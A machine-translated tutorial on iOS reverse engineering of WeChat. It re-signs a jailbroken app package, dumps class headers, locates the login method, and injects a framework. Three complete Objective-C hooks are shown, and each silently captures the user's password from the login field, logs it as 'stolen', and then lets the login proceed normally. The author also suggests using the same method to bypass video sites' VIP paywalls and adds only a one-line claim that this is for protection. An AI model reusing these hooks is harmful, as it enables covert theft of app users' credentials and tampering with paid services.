preface

This article is based on the previous two. For those who haven’t already read it, please read:

Apply signature principles and re-signature

Automatic re-signing of shell scripts with code injection

A good deal of this article is devoted to signing, re-signing, code injection, and so on. So can we re-sign the WX application package to debug, can we see the source code, or can we re-sign the use of what?

Let’s explore it together in this article.

“Wx” is extracted using ‘source code’

The preparation of the instruments

Class-dump extraction code: KJJS

Class-dump is a tool that can copy descriptions of classes in Mach -o. This can be interpreted as extracting the header file (but not just the header file).

extract

Open the jailbreak WeChat IPa we downloaded. Unzip it, payload-wechat displays the package content, and find the Source file of WeChat. Copy them to the same path as class-dump.

CD to this directory, execute:

./class-dump -H WeChat -o ./headers/
Copy the code

Execution completed:

In fact, the principle is based on McAh-o class description, attributes, methods. You sort it out, you generate, you write.

We have seen more than 10,000 head files. Here is a recommended tool to facilitate viewing and searching.

Sublime

Drag the headers folder directly into Sublime.

Feel free to browse. You’ll think about the assembly code later.

Code modification (breaking/stealing…)

Requirement 1: Break the registration function

This requirement is relatively simple, the implementation idea is the way of code injection, Hook registration button method. Modify to their own methods can not demonstrate.

Let’s do an interesting one.

Requirement 2: Obtain a user’s login password but retain its login function

So let’s do it step by step.

1 Re-signature project

Ready to re-sign the successful project, do not do code injection, write a framework, and then shell script yololib do. CMD + r, run.

Check to see if the code was successfully injected.

2 Find the login button method

  • Go to the following page.

  • View Debug

Select the left window, select the login button, make sure you don’t select the imageView overwritten, the green one. On the right, look at Target and Action.

Note:

In Xcode 11, Target and Action are both addresses. The older version of Xcode displays the class name and method name directly.

Sublime finds the method

  • Go to Sublime and open the source code, CMD + Shift + F.

  • Search for the results, double-click directly on the white box to go to the file and find the method (onNext).

  • I’m a little hazy to find this method, why? This method takes no arguments, that is, it does not pass the user password as an argument, nor does it pass the password as an attribute. So what do we do?

4 Locate the control of the password input box

Since we want to Hook the onNext method, the only implicit argument we can use in the onNext method is self. So we look for member variables and attributes. If we can’t find them, we can also use the subView method, and in the worst cases we even need to find them through the control chain.

Of course there is no need to bother, the naming conventions of good WX engineers help us quickly find one of these things.

It’s obviously not a textField, but it looks like it has something to do with the input field. So let’s take a look at this class.

5 search WCAccountTextFieldItem

CMD + Shift + F search @interface WCAccountTextFieldItem

textField
WCBaseTextFieldItem

6 search WCBaseTextFieldItem

CMD + shift + F search @interface WCBaseTextFieldItem

Did you see this TF?

So let’s go back.

In the onNext method we get the input field by self._textFieldUserPwditem.m_textField, and then.text.

When you figure it out, do it?

NO !

Note: in the process of reverse debugging, it does not necessarily mean that you go, so if you try to polish the code at this time, it is likely to work for nothing.

So what to do? LLDB dynamic debugging.

7 Dynamic Debugging

  • View DebugTo findvcGet the address.
  • throughvalueForKeyTo find_textFieldUserPwdItemAnd getWCUITextFieldAnd get thetext

Verify pass, start dry

8 Code Injection

Open our own injected framework, go to the load method and start hook, I won’t go into the details of the code logic.

To summarize:

Change the method of login button into our method, and continue the execution by calling the original method of wechat after we get the password.

I’ll post the code as well.

Note:

So one of the things about method_exchangeImplementations is that normally we’re doing a hook in a classification, so there’s no problem with the original class calling the method that we defined in the classification, Because the classification itself is an extension and in the method list of the original class you’ll have this method that you define yourself.

However, at this time our own injection framework is not good, because we change the onNext method imp into their own method, wechat call onNext to our method implementation, is no problem. However, when we get the password and want to let it access the original method, the call is to send the message of my_onNext to VC, which will definitely not be found. However, if we use classification for forward development, this problem will not be solved. This is also the main reason why we often use classification to make hook. Interview again encounter do not answer what pollution what efficiency…

The solution is also very simple, here I have to give you a knock posted again

    1. Add a method to the original class.class_addMethod(More trouble)
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog("Code injection successful!");
    
    // The original wechat login method
    Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));

    // Add a new method
    /** * 1, add method * 2, method number * 3, method implementation (address) */
    BOOL didAddMethod = class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), new_onNext, "v@:");
    / / exchange
    method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
    
}

// methods implement IMP
void new_onNext(id self,SEL _cmd){
    // Retrieve the user's password
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@" The password stolen from the user is %@",pwd.text);
    / / login
    [self performSelector:@selector(new_onNext)];
}

@end
Copy the code
    1. Used to replace
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog("Code injection successful!");
    
    // Use substitution
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
    class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), new_onNext, "v@:");
}

// IMP pointer -- 8 bytes.
IMP (*old_onNext)(id self,SEL _cmd);

// methods implement IMP
void new_onNext(id self,SEL _cmd){
    // Retrieve the user's password
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@" The password stolen from the user is %@",pwd.text);
    / / login
    old_onNext(self,_cmd);
}
Copy the code
    1. usegetImp / setImp(Easiest)
#import "InjectCode.h"
#import <objc/runtime.h>
#import <UIKit/UIKit.h>

@implementation InjectCode

+ (void)load{
    NSLog("Code injection successful!");
    / / getIMP and setIMP
    old_onNext = method_getImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)));
    method_setImplementation(class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext)), new_onNext);
}

// IMP pointer -- 8 bytes.
IMP (*old_onNext)(id self,SEL _cmd);

// methods implement IMP
void new_onNext(id self,SEL _cmd){
    // Retrieve the user's password
    UITextField * pwd = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
    NSLog(@" The password stolen from the user is %@",pwd.text);
    / / login
    old_onNext(self,_cmd);
}
Copy the code

In fact, the principle of two and three is just to save the wechat original method onNext IMP, and then change to our own, after calling our own method and then directly call the saved IMP. Super simple?

First, it is convenient for everyone to understand. In addition, we will introduce a specialized Hook tool later. Most of this tool is directly used by getIMP and setIMP. Please look forward to it 😆.

run

  • Control gets the code.
  • Wechat login is invoked normally on the page

Here is a simple simulation of a demand, to achieve it, is mainly to introduce this way to everyone, what can be achieved, we can play a play, for example, can bypass some video websites to open VIP? Or some other idea.

Of course, again: Playing reverse is just for protection.